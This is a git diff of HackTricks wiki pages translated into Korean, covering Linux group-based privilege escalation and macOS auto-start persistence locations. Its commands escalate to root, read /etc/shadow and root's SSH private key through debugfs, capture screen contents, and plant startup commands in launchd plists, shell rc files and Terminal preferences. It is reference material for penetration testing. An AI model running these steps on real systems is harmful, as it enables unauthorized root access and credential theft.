패키지는 임의의 명령을 실행합니다. 시연을 위해 간단한 리버스 넷캣 셸 예제를 사용했지만 필요에 따라 변경할 수 있습니다. ```text ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index e790cd37d..a3f8baea2 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,18 +1,11 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} # Sudo/Admin Groups ## **PE - Method 1** -**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: - +**때때로**, **기본적으로 \(또는 일부 소프트웨어가 필요하기 때문에\)** **/etc/sudoers** 파일 안에서 다음과 같은 줄을 찾을 수 있습니다: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -20,48 +13,35 @@ Get Access Today: # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +이것은 **sudo 또는 admin 그룹에 속한 모든 사용자가 sudo로 무엇이든 실행할 수 있음을 의미합니다**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +이 경우, **root가 되려면 다음을 실행하면 됩니다**: ```text sudo su ``` - ## PE - Method 2 -Find all suid binaries and check if there is the binary **Pkexec**: - +모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하십시오: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. -Check the contents of: - +이진 파일 pkexec가 SUID 이진 파일이고 sudo 또는 admin에 속한다면, pkexec를 사용하여 sudo로 이진 파일을 실행할 수 있습니다. 다음 내용을 확인하세요: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +여기에서 어떤 그룹이 **pkexec**를 실행할 수 있는지 확인할 수 있으며, 일부 리눅스에서는 기본적으로 **sudo 또는 admin** 그룹이 나타날 수 있습니다. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**. - -To **become root you can execute**: - +**루트가 되려면 다음을 실행할 수 있습니다**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +**pkexec**를 실행하려고 시도했는데 **오류**가 발생하면: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다**. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2개의 서로 다른 ssh 세션**이 필요합니다: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -72,39 +52,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` - # Wheel Group -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**때때로**, **기본적으로** **/etc/sudoers** 파일 안에서 이 줄을 찾을 수 있습니다: ```text %wheel ALL=(ALL:ALL) ALL ``` +이것은 **wheel 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있음을 의미합니다**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +이 경우, **root가 되려면 다음을 실행하면 됩니다**: ```text sudo su ``` - # Shadow Group -Users from the **group shadow** can **read** the **/etc/shadow** file: - +**shadow** 그룹의 사용자들은 **/etc/shadow** 파일을 **읽을** 수 있습니다: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +그래서 파일을 읽고 **해시를 크랙해보세요**. -So, read the file and try to **crack some hashes**. +# 디스크 그룹 -# Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +이 권한은 기계 내부의 모든 데이터에 접근할 수 있으므로 거의 **루트 접근과 동등합니다**. +파일: `/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -112,70 +84,54 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +debugfs를 사용하면 **파일을 쓸 수** 있다는 점에 유의하세요. 예를 들어 `/tmp/asd1.txt`를 `/tmp/asd2.txt`로 복사하려면 다음과 같이 할 수 있습니다: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` - -However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. +그러나 **root가 소유한 파일** \(예: `/etc/shadow` 또는 `/etc/passwd`\)을 **작성하려고** 하면 "**Permission denied**" 오류가 발생합니다. # Video Group -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: - +`w` 명령어를 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며, 다음과 같은 출력을 보여줍니다: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +**tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장할 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: +**원시 이미지**를 **열기** 위해 **GIMP**를 사용하고 **`screen.raw`** 파일을 선택한 후 파일 형식으로 **Raw image data**를 선택할 수 있습니다: ![](../../images/image%20%28208%29.png) -Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): +그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 \(화면을 더 잘 보여주는 유형을 선택\): ![](../../images/image%20%28295%29.png) -# Root Group +# 루트 그룹 -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +기본적으로 **루트 그룹의 구성원**은 **서비스** 구성 파일이나 일부 **라이브러리** 파일 또는 **특히 흥미로운 것들**을 **수정**할 수 있는 접근 권한이 있을 수 있습니다. 이는 권한 상승에 사용될 수 있습니다... +**루트 구성원이 수정할 수 있는 파일 확인**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +# Docker 그룹 -# Docker Group - -You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. +호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로, 인스턴스가 시작될 때 즉시 해당 볼륨에 `chroot`를 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다. {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -# lxc/lxd Group +# lxc/lxd 그룹 -[lxc - Privilege Escalation](lxd-privilege-escalation.md) - -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} +[lxc - 권한 상승](lxd-privilege-escalation.md) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 5bfd0ae9a..e78b67a70 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -1,242 +1,229 @@ -# macOS Auto Start +# macOS 자동 시작 {{#include ../banners/hacktricks-training.md}} -This section is heavily based on the blog series [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), the goal is to add **more Autostart Locations** (if possible), indicate **which techniques are still working** nowadays with latest version of macOS (13.4) and to specify the **permissions** needed. +이 섹션은 블로그 시리즈 [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)를 기반으로 하며, **더 많은 자동 시작 위치**를 추가하고 (가능한 경우), 최신 버전의 macOS (13.4)에서 **어떤 기술이 여전히 작동하는지** 나타내고 **필요한 권한**을 명시하는 것이 목표입니다. -## Sandbox Bypass +## 샌드박스 우회 > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **waiting** for a very **common** **action**, a determined **amount of time** or an **action you can usually perform** from inside a sandbox without needing root permissions. +> 여기에서는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있으며, 이를 통해 **파일에 작성**하고 **기다리는** 매우 **일반적인** **작업**, 정해진 **시간** 또는 샌드박스 내에서 루트 권한 없이 **일반적으로 수행할 수 있는 작업**을 통해 간단히 실행할 수 있습니다. ### Launchd -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button) +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -#### Locations +#### 위치 - **`/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **트리거**: 재부팅 +- 루트 필요 - **`/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **트리거**: 재부팅 +- 루트 필요 - **`/System/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **트리거**: 재부팅 +- 루트 필요 - **`/System/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **트리거**: 재부팅 +- 루트 필요 - **`~/Library/LaunchAgents`** - - **Trigger**: Relog-in +- **트리거**: 재로그인 - **`~/Library/LaunchDemons`** - - **Trigger**: Relog-in +- **트리거**: 재로그인 > [!TIP] -> As interesting fact, **`launchd`** has an embedded property list in a the Mach-o section `__Text.__config` which contains other well known services launchd must start. Moreover, these services can contain the `RequireSuccess`, `RequireRun` and `RebootOnSuccess` that means that they must be run and complete successfully. +> 흥미로운 사실로, **`launchd`**는 Mach-o 섹션 `__Text.__config`에 내장된 속성 목록을 가지고 있으며, 여기에는 launchd가 시작해야 하는 다른 잘 알려진 서비스가 포함되어 있습니다. 또한, 이러한 서비스는 `RequireSuccess`, `RequireRun` 및 `RebootOnSuccess`를 포함할 수 있으며, 이는 반드시 실행되고 성공적으로 완료되어야 함을 의미합니다. > -> Ofc, It cannot be modified because of code signing. +> 물론, 코드 서명 때문에 수정할 수 없습니다. -#### Description & Exploitation +#### 설명 및 악용 -**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: +**`launchd`**는 OX S 커널이 시작할 때 실행되는 **첫 번째** **프로세스**이며 종료 시 마지막으로 완료되는 프로세스입니다. 항상 **PID 1**을 가져야 합니다. 이 프로세스는 **ASEP** **plist**에 명시된 구성을 **읽고 실행**합니다: -- `/Library/LaunchAgents`: Per-user agents installed by the admin -- `/Library/LaunchDaemons`: System-wide daemons installed by the admin -- `/System/Library/LaunchAgents`: Per-user agents provided by Apple. -- `/System/Library/LaunchDaemons`: System-wide daemons provided by Apple. +- `/Library/LaunchAgents`: 관리자가 설치한 사용자별 에이전트 +- `/Library/LaunchDaemons`: 관리자가 설치한 시스템 전체 데몬 +- `/System/Library/LaunchAgents`: Apple에서 제공하는 사용자별 에이전트 +- `/System/Library/LaunchDaemons`: Apple에서 제공하는 시스템 전체 데몬 -When a user logs in the plists located in `/Users/$USER/Library/LaunchAgents` and `/Users/$USER/Library/LaunchDemons` are started with the **logged users permissions**. - -The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background. +사용자가 로그인하면 `/Users/$USER/Library/LaunchAgents` 및 `/Users/$USER/Library/LaunchDemons`에 위치한 plist가 **로그인한 사용자 권한**으로 시작됩니다. +**에이전트와 데몬의 주요 차이점은 에이전트는 사용자가 로그인할 때 로드되고 데몬은 시스템 시작 시 로드된다는 것입니다** (ssh와 같이 사용자가 시스템에 접근하기 전에 실행해야 하는 서비스가 있기 때문입니다). 또한 에이전트는 GUI를 사용할 수 있지만 데몬은 백그라운드에서 실행해야 합니다. ```xml - Label - com.apple.someidentifier - ProgramArguments - - bash -c 'touch /tmp/launched' - - RunAtLoad - StartInterval - 800 - KeepAlive - - SuccessfulExit - - +Label +com.apple.someidentifier +ProgramArguments + +bash -c 'touch /tmp/launched' + +RunAtLoad +StartInterval +800 +KeepAlive + +SuccessfulExit + + ``` - -There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). +**사용자가 로그인하기 전에 실행되어야 하는 에이전트**가 있는 경우가 있으며, 이를 **PreLoginAgents**라고 합니다. 예를 들어, 로그인 시 보조 기술을 제공하는 데 유용합니다. 이들은 `/Library/LaunchAgents`에서도 찾을 수 있습니다(예시를 보려면 [**여기**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)를 참조하세요). > [!NOTE] -> New Daemons or Agents config files will be **loaded after next reboot or using** `launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ -> It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), +> 새로운 Daemons 또는 Agents 구성 파일은 **다음 재부팅 후 또는** `launchctl load `를 사용하여 **로드됩니다**. **확장자가 없는 .plist 파일을 로드하는 것도 가능합니다** `launchctl -F ` (하지만 이러한 plist 파일은 재부팅 후 자동으로 로드되지 않습니다).\ +> `launchctl unload `를 사용하여 **언로드**하는 것도 가능합니다(지정된 프로세스가 종료됩니다), > -> To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` - -List all the agents and daemons loaded by the current user: +> **에이전트** 또는 **데몬**이 **실행되지 않도록 방해하는** **것이** (예: 오버라이드) **없는지 확인하려면** 다음을 실행하세요: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` +현재 사용자에 의해 로드된 모든 에이전트와 데몬을 나열합니다: ```bash launchctl list ``` - > [!WARNING] -> If a plist is owned by a user, even if it's in a daemon system wide folders, the **task will be executed as the user** and not as root. This can prevent some privilege escalation attacks. +> plist가 사용자 소유인 경우, 비록 그것이 데몬 시스템 전체 폴더에 있더라도, **작업은 사용자로서 실행됩니다** 그리고 root로 실행되지 않습니다. 이는 일부 권한 상승 공격을 방지할 수 있습니다. -#### More info about launchd +#### launchd에 대한 추가 정보 -**`launchd`** is the **first** user mode process which is started from the **kernel**. The process start must be **successful** and it **cannot exit or crash**. It's even **protected** against some **killing signals**. +**`launchd`**는 **커널**에서 시작되는 **첫 번째** 사용자 모드 프로세스입니다. 프로세스 시작은 **성공적이어야** 하며 **종료되거나 충돌할 수 없습니다**. 이는 일부 **종료 신호**에 대해 **보호**됩니다. -One of the first things `launchd` would do is to **start** all the **daemons** like: +`launchd`가 가장 먼저 할 일 중 하나는 다음과 같은 모든 **데몬**을 **시작**하는 것입니다: -- **Timer daemons** based on time to be executed: - - atd (`com.apple.atrun.plist`): Has a `StartInterval` of 30min - - crond (`com.apple.systemstats.daily.plist`): Has `StartCalendarInterval` to start at 00:15 -- **Network daemons** like: - - `org.cups.cups-lpd`: Listens in TCP (`SockType: stream`) with `SockServiceName: printer` - - SockServiceName must be either a port or a service from `/etc/services` - - `com.apple.xscertd.plist`: Listens on TCP in port 1640 -- **Path daemons** that are executed when a specified path changes: - - `com.apple.postfix.master`: Checking the path `/etc/postfix/aliases` -- **IOKit notifications daemons**: - - `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` -- **Mach port:** - - `com.apple.xscertd-helper.plist`: It's indicating in the `MachServices` entry the name `com.apple.xscertd.helper` -- **UserEventAgent:** - - This is different from the previous one. It makes launchd spawn apps in response to specific event. However, in this case, the main binary involved isn't `launchd` but `/usr/libexec/UserEventAgent`. It loads plugins from the SIP restricted folder /System/Library/UserEventPlugins/ where each plugin indicates its initialiser in the `XPCEventModuleInitializer` key or. in the case of older plugins, in the `CFPluginFactories` dict under the key `FB86416D-6164-2070-726F-70735C216EC0` of its `Info.plist`. +- **실행될 시간 기반의 타이머 데몬**: +- atd (`com.apple.atrun.plist`): 30분의 `StartInterval`을 가집니다. +- crond (`com.apple.systemstats.daily.plist`): 00:15에 시작하기 위한 `StartCalendarInterval`을 가집니다. +- **네트워크 데몬**: +- `org.cups.cups-lpd`: `SockType: stream`으로 TCP에서 수신하며 `SockServiceName: printer`를 가집니다. +- SockServiceName은 `/etc/services`의 포트 또는 서비스여야 합니다. +- `com.apple.xscertd.plist`: 포트 1640에서 TCP로 수신합니다. +- **지정된 경로가 변경될 때 실행되는 경로 데몬**: +- `com.apple.postfix.master`: 경로 `/etc/postfix/aliases`를 확인합니다. +- **IOKit 알림 데몬**: +- `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` +- **Mach 포트**: +- `com.apple.xscertd-helper.plist`: `MachServices` 항목에서 이름 `com.apple.xscertd.helper`를 나타냅니다. +- **UserEventAgent**: +- 이는 이전 것과 다릅니다. 특정 이벤트에 응답하여 launchd가 앱을 생성하게 합니다. 그러나 이 경우 관련된 주요 바이너리는 `launchd`가 아니라 `/usr/libexec/UserEventAgent`입니다. 이는 SIP 제한 폴더 /System/Library/UserEventPlugins/에서 플러그인을 로드하며, 각 플러그인은 `XPCEventModuleInitializer` 키에서 초기화기를 나타내거나, 이전 플러그인의 경우 `Info.plist`의 `FB86416D-6164-2070-726F-70735C216EC0` 키 아래의 `CFPluginFactories` 사전에서 나타냅니다. -### shell startup files +### 셸 시작 파일 Writeup: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)\ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [✅](https://emojipedia.org/check-mark-button) - - But you need to find an app with a TCC bypass that executes a shell that loads these files +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- TCC 우회: [✅](https://emojipedia.org/check-mark-button) +- 그러나 이러한 파일을 로드하는 셸을 실행하는 TCC 우회가 있는 앱을 찾아야 합니다. -#### Locations +#### 위치 - **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** - - **Trigger**: Open a terminal with zsh +- **트리거**: zsh로 터미널 열기 - **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** - - **Trigger**: Open a terminal with zsh - - Root required +- **트리거**: zsh로 터미널 열기 +- 루트 필요 - **`~/.zlogout`** - - **Trigger**: Exit a terminal with zsh +- **트리거**: zsh로 터미널 종료 - **`/etc/zlogout`** - - **Trigger**: Exit a terminal with zsh - - Root required -- Potentially more in: **`man zsh`** +- **트리거**: zsh로 터미널 종료 +- 루트 필요 +- 잠재적으로 더 많은 내용은: **`man zsh`** - **`~/.bashrc`** - - **Trigger**: Open a terminal with bash -- `/etc/profile` (didn't work) -- `~/.profile` (didn't work) +- **트리거**: bash로 터미널 열기 +- `/etc/profile` (작동하지 않음) +- `~/.profile` (작동하지 않음) - `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` - - **Trigger**: Expected to trigger with xterm, but it **isn't installed** and even after installed this error is thrown: xterm: `DISPLAY is not set` +- **트리거**: xterm으로 트리거될 것으로 예상되지만 **설치되지 않음** 및 설치 후에도 이 오류가 발생합니다: xterm: `DISPLAY is not set` -#### Description & Exploitation +#### 설명 및 악용 -When initiating a shell environment such as `zsh` or `bash`, **certain startup files are run**. macOS currently uses `/bin/zsh` as the default shell. This shell is automatically accessed when the Terminal application is launched or when a device is accessed via SSH. While `bash` and `sh` are also present in macOS, they need to be explicitly invoked to be used. - -The man page of zsh, which we can read with **`man zsh`** has a long description of the startup files. +`zsh` 또는 `bash`와 같은 셸 환경을 시작할 때, **특정 시작 파일이 실행됩니다**. macOS는 현재 기본 셸로 `/bin/zsh`를 사용합니다. 이 셸은 터미널 애플리케이션이 시작되거나 SSH를 통해 장치에 접근할 때 자동으로 접근됩니다. `bash`와 `sh`도 macOS에 존재하지만, 사용하기 위해서는 명시적으로 호출해야 합니다. +우리가 **`man zsh`**로 읽을 수 있는 zsh의 매뉴얼 페이지에는 시작 파일에 대한 긴 설명이 있습니다. ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` - -### Re-opened Applications +### 재개된 애플리케이션 > [!CAUTION] -> Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed) +> 지시된 악용을 구성하고 로그아웃 및 로그인하거나 심지어 재부팅하는 것이 앱을 실행하는 데 효과가 없었습니다. (앱이 실행되지 않았으며, 이러한 작업이 수행될 때 실행 중이어야 할 수도 있습니다) -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) +**작성**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 위치 - **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** - - **Trigger**: Restart reopening applications +- **트리거**: 애플리케이션 재개 시 재시작 -#### Description & Exploitation +#### 설명 및 악용 -All the applications to reopen are inside the plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` +재개할 모든 애플리케이션은 plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` 안에 있습니다. -So, make the reopen applications launch your own one, you just need to **add your app to the list**. +따라서 재개할 애플리케이션이 귀하의 애플리케이션을 실행하도록 하려면, **목록에 귀하의 앱을 추가하기만 하면 됩니다**. -The UUID can be found listing that directory or with `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` - -To check the applications that will be reopened you can do: +UUID는 해당 디렉토리를 나열하거나 `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`를 사용하여 찾을 수 있습니다. +재개될 애플리케이션을 확인하려면 다음을 수행할 수 있습니다: ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` - -To **add an application to this list** you can use: - +이 목록에 **응용 프로그램을 추가하려면** 다음을 사용할 수 있습니다: ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ - -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ - ~/Library/Preferences/ByHost/com.apple.loginwindow..plist +-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ +-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ +~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` +### 터미널 환경설정 -### Terminal Preferences +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- TCC 우회: [✅](https://emojipedia.org/check-mark-button) +- 터미널 사용자는 FDA 권한을 가집니다. -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it - -#### Location +#### 위치 - **`~/Library/Preferences/com.apple.Terminal.plist`** - - **Trigger**: Open Terminal +- **트리거**: 터미널 열기 -#### Description & Exploitation +#### 설명 및 악용 -In **`~/Library/Preferences`** are store the preferences of the user in the Applications. Some of these preferences can hold a configuration to **execute other applications/scripts**. +**`~/Library/Preferences`**에는 애플리케이션의 사용자 환경설정이 저장됩니다. 이러한 환경설정 중 일부는 **다른 애플리케이션/스크립트를 실행하는** 구성을 포함할 수 있습니다. -For example, the Terminal can execute a command in the Startup: +예를 들어, 터미널은 시작 시 명령을 실행할 수 있습니다:
-This config is reflected in the file **`~/Library/Preferences/com.apple.Terminal.plist`** like this: - +이 구성은 **`~/Library/Preferences/com.apple.Terminal.plist`** 파일에 다음과 같이 반영됩니다: ```bash [...] "Window Settings" => { - "Basic" => { - "CommandString" => "touch /tmp/terminal_pwn" - "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } - "FontAntialias" => 1 - "FontWidthSpacing" => 1.004032258064516 - "name" => "Basic" - "ProfileCurrentVersion" => 2.07 - "RunCommandAsShell" => 0 - "type" => "Window Settings" - } +"Basic" => { +"CommandString" => "touch /tmp/terminal_pwn" +"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } +"FontAntialias" => 1 +"FontWidthSpacing" => 1.004032258064516 +"name" => "Basic" +"ProfileCurrentVersion" => 2.07 +"RunCommandAsShell" => 0 +"type" => "Window Settings" +} [...] ``` +그래서 시스템의 터미널 환경 설정의 plist가 덮어씌워질 수 있다면, **`open`** 기능을 사용하여 **터미널을 열고 해당 명령이 실행될 수 있습니다**. -So, if the plist of the preferences of the terminal in the system could be overwritten, the the **`open`** functionality can be used to **open the terminal and that command will be executed**. - -You can add this from the cli with: - +다음과 같이 CLI에서 추가할 수 있습니다: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -245,24 +232,22 @@ You can add this from the cli with: # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` - ### Terminal Scripts / Other file extensions -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it +- 샌드박스를 우회하는 데 유용: [✅](https://emojipedia.org/check-mark-button) +- TCC 우회: [✅](https://emojipedia.org/check-mark-button) +- 터미널 사용자가 FDA 권한을 가질 수 있도록 사용 #### Location -- **Anywhere** - - **Trigger**: Open Terminal +- **어디서나** +- **트리거**: 터미널 열기 #### Description & Exploitation -If you create a [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) and opens, the **Terminal application** will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges. - -Try it with: +[**`.terminal`** 스크립트](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)를 생성하고 열면, **터미널 애플리케이션**이 자동으로 호출되어 그 안에 명시된 명령을 실행합니다. 터미널 앱에 특별한 권한(예: TCC)이 있는 경우, 귀하의 명령은 그 특별한 권한으로 실행됩니다. +다음과 함께 시도해 보세요: 